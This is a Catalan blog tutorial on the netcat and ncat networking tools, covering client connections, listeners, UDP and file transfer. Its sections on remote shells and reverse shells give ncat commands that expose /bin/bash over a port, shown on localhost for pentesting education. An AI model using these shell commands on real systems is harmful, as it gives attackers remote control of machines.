diumenge, 31 de gener del 2021

Comandaments netcat i ncat

Netcat és un comandament Linux (existeixen versions per Windows) molt versàtil per administradors de xarxa i per ciberseguretat; pot llegir i escriure dades en un ordinador remot mitjançant paquets TCP o UDP, crear connexions raw ("en brut": permet accedir a protocols de xarxa de baix nivell) amb altres equips de la xarxa, banner grabing (descobriment de versions de serveis a Internet, util en auditories de seguretat o pentesting), etc. En algunes coses és similar a l'ordre telnet però més general, doncs pot connectar-se a qualsevol servei. Més tècnicament, netcat pot actuar com a servidor o client de socket (un recurs del sistema operatiu que utilitza un procés per connectar-se i demanar serveis de xarxa) i interactuar amb altres programes alhora enviant i rebent dades a través de la xarxa.

Per veure totes les opcions:

jordi@jordi-sve1513c5e:~$ nc -h
OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
         [-m minttl] [-O length] [-P proxy_username] [-p source_port]
         [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
         [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
       Command Summary:
               -4              Use IPv4
               -6              Use IPv6
               -b              Allow broadcast
               -C              Send CRLF as line-ending
               -D              Enable the debug socket option
               -d              Detach from stdin
               -F              Pass socket fd
               -h              This help text
               -I length       TCP receive buffer length
               -i interval     Delay interval for lines sent, ports scanned
               -k              Keep inbound sockets open for multiple connects
               -l              Listen mode, for inbound connects
               -M ttl          Outgoing TTL / Hop Limit
               -m minttl       Minimum incoming TTL / Hop Limit
               -N              Shutdown the network socket after EOF on stdin
               -n              Suppress name/port resolutions
               -O length       TCP send buffer length
               -P proxyuser    Username for proxy authentication
               -p port         Specify local port for remote connects
               -q secs         quit after EOF on stdin and delay of secs
               -r              Randomize remote ports
               -S              Enable the TCP MD5 signature option
               -s source       Local source address
               -T keyword      TOS value
               -t              Answer TELNET negotiation
               -U              Use UNIX domain socket
               -u              UDP mode
               -V rtable       Specify alternate routing table
               -v              Verbose
               -W recvlimit    Terminate after receiving a number of packets
               -w timeout      Timeout for connects and final net reads
               -X proto        Proxy protocol: "4", "5" (SOCKS) or "connect"
               -x addr[:port]  Specify proxy address and port
               -Z              DCCP mode
               -z              Zero-I/O mode [used for scanning]
       Port numbers can be individual or ranges: lo-hi [inclusive]

Connectar-se a un servidor remot per un port concret

Per exemple, per connectar-nos al servei web de google, pel port 80, fem

nc -v google.com 80

on "-v" indica a nc que informi del procés de connexió donant  informació; un cop aconseguida la connexió, podem usar els comandaments que permet el servei al que ens connectem, com ara l'ordre GET per el protocol http:


En aquest exemple netcat actua obrint un socket client.

Escoltar peticions en un port

En el següent exemple obrim un socket servidor, és a dir, que permetem que una màquina remota es connecti amb netcat. Per aconseguir-ho, en l'ordinador que farà de servidor llancem netcat així:

nc -l -v 1234

l'opció -l vol dir "listener", que posa a nc en mode "escoltar", el nombre representa un port qualsevol obert; si ens dona un  error de resolució de noms, afegim l'opció -n per indicar-li que només usi IPs, no noms DNS.  En un ordinador remot (o en el el mateix que fa de servidor, obrint un altre terminal) obrim una connexió telnet i provem a escriure alguna cosa:

 

Veiem que netcat fa un "eco" de qualsevol text que escrivim en la màquina remota; fixem-nos també en que netcat "s'entén amb el protocol telnet". El que hem aconseguit és un chat entre dues màquines.

Sobre les versions de netcat

nc i netcat són dos noms per al mateix programa,  normalment, un serà un enllaç simbòlic a l’altre.  Per altre banda hi ha dues implementacions diferents de Netcat: la "tradicional" i la "OpenBSD", que tenen diferents opcions i tenen diferents funcions; aquí si no es diu el contrari usem la tradicional. També tenim un tercer comandament, ncat, amb el mateix propòsit però forma part del projecte Nmap ( (https://nmap.org/ncat/) i té opcions diferents; en Ubuntu 20.04 netcat ve de sèrie, en canvi ncat cal instal·lar-lo.

Per exemple ncat disposa d'una opció molt convenient per fer pentesting:

-c, --sh-exec <command>    Executes the given command via /bin/sh

Per exemple, si afegim a ncat un senzill script que llegeixi indefinidament cadenes de text i les contesti, com ara

while true; do read i && echo [rebut:] $i; done

i fent com abans, obrim un telnet remot que connecti amb ncat, veurem que tot el que escrivim en telnet es contestat:


Shell remot

L'oció -c de ncat és capaç d'executar un shell sencer:

jordi@jordi-sve1513c5e:~$ ncat -v -l -p 1234 -c /bin/bash    
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:46790.

Amb això el que estem fent és obrir un shell del sistema que escolta peticions remotes a través del port 1234, és a dir, un "shell server" o un shell remot. Des d'una altre màquina ens connectem amb netcat, i provem a enviar al server algun comandament del shell:

Jordi@jordi-sve1513c5e:~$ nc localhost 1234
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
Documents
(...)

Esquemàticament: 
  1. un servidor obre un listener executant un shell local, i l'ofereix a la xarxa a través del port 1234
  2. una màquina remota obre connexió i envia ordres al shell remot, que s'executen en remot



Shell invers

Aquesta és la característica de netcat més utilitzada pel pentesting, s'utilitza per iniciar un shell des d'un sistema piratejat. Té diverses variants.

Ja hem vist que ens podem connectar per exemple al port 80 d'un servidor web per fer el GET d'una pàgina web. Tanmateix, a un hacker li interessa obtenir un intèrpret d'ordres remot com el de l'apartat anterior que proporcioni el control del sistema remot però iniciat des de la màquina atacant. La solució és utilitzar un shell invers: és quan la màquina atacada és la que demana la connexió a la màquina del atacant la qual li respon.

Aixó doncs, comencen aixecant un listener en la màquina atacant, que farà de servidor:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

A continuació el hacker ha de ser capaç d'executar ordres arbitràries al sistema remot o ha de poder enviar un fitxer executable, normalment un script, que farà de payload d'una vulnerabilitat descoberta prèviament en la màquina atacant, i que dependrà dels sistema atacat, pot ser un script PHP en un servidor web, un script powershell en un servidor Windows, etc. En aquest article no estem fen hacking ètic, només volem mostrar el concepte; per fer-ho executem netcat a l'ordinador atacat obrint un shell remot com el de l'apartat anterior

ncat localhost 1234 -c /bin/bash

Ara podem executar ordres dels shell remot des de la màquina atacant:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:47330.
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
( . . .)

En un escenari real de proves de pentesting no és possible executar netcat a la màquina atacada, s’utilitzen altres tècniques per crear un shell.

Esquemàticament: 
  1. un atacant executa un payload que li permet obrir un shell de la màquina remota
  2. l'atacant obre en la màquina atacada un listener que ofereix el shell a la xarxa 
  3. la màquina atacant obre connexió i envia ordres al shell remot, que s'executen en remot

Usant el protocol UDP

Totes les connexions anteriors usen TCP/IP, però afegint l'opció -u ho faran per UDP, l'exemple anterior per UDP és:

ncat -u -v -l -p 1234 -c 'while true; do read i && echo [rebut:] $i; done'

En l'exemple anterior en comptes de telnet pel client podem usar nc, que ja sabem que "imita a telnet". 

jordi@jordi-sve1513c5e:~$ nc localhost -u 1234
hola
[rebut:] hola


Netcat com a FTP

Usant el mecanisme del shell conegut com "filtre" o també com "canonada" (pipe) és fàcil enviar fitxers usant netcat; provem per exemple a fer

cat prova.txt | ncat -v -l -p 1234

la línia vertical indica al shell del SO que dirigeixi el resultat del comandament cat (llistar el fitxer per pantalla) no a la pantalla si no al següent comandament. ncat "recull" aquest contingut del fitxer, obra el port 1234 en mode listener i espera una connexió entrant.

jordi@jordi-sve1513c5e:~$ cat prova.txt | ncat -v -l -p 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

En l'ordinador remot (o en una altre consola del mateix) fem 

ncat localhost 1234 > copia.txt

Fem control-C i comprovem que s'ha rebut el contingut del fitxer prova.txt i s'ha bolcat en el fitxer copia.txt. Si no especifiquem fitxer destí, es mostrarà per pantalla.




 











Gestió d'usuaris i grups en Linux

Usuaris i grups Linux  Els comptes de Linux són com els comptes de Windows o MacOS; però els detalls no, així que cal explicar alguns detall...